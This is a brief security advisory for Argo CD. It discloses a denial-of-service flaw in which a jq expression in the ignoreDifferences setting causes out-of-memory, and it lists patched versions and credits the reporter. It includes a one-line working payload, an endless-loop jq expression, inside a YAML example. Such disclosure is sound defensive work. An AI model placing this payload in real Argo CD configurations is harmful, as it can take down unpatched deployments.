Argo CD vulnerable to a Denial of Service via malicious jqPathExpressions in ignoreDifferences

Impact

DoS vuln via OOM using jq in ignoreDifferences.

ignoreDifferences:
    - group: apps
       kind: Deployment
       jqPathExpressions: 
	    - 'until(true == false; [.] + [1])'

Patches

A patch for this vulnerability has been released in the following Argo CD versions:

v2.10.8 v2.9.13 v2.8.17

For more information

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Credits This vulnerability was found & reported by @crenshaw-dev (Michael Crenshaw)

The Argo team would like to thank these contributors for their responsible disclosure and constructive communications during the resolve of this issue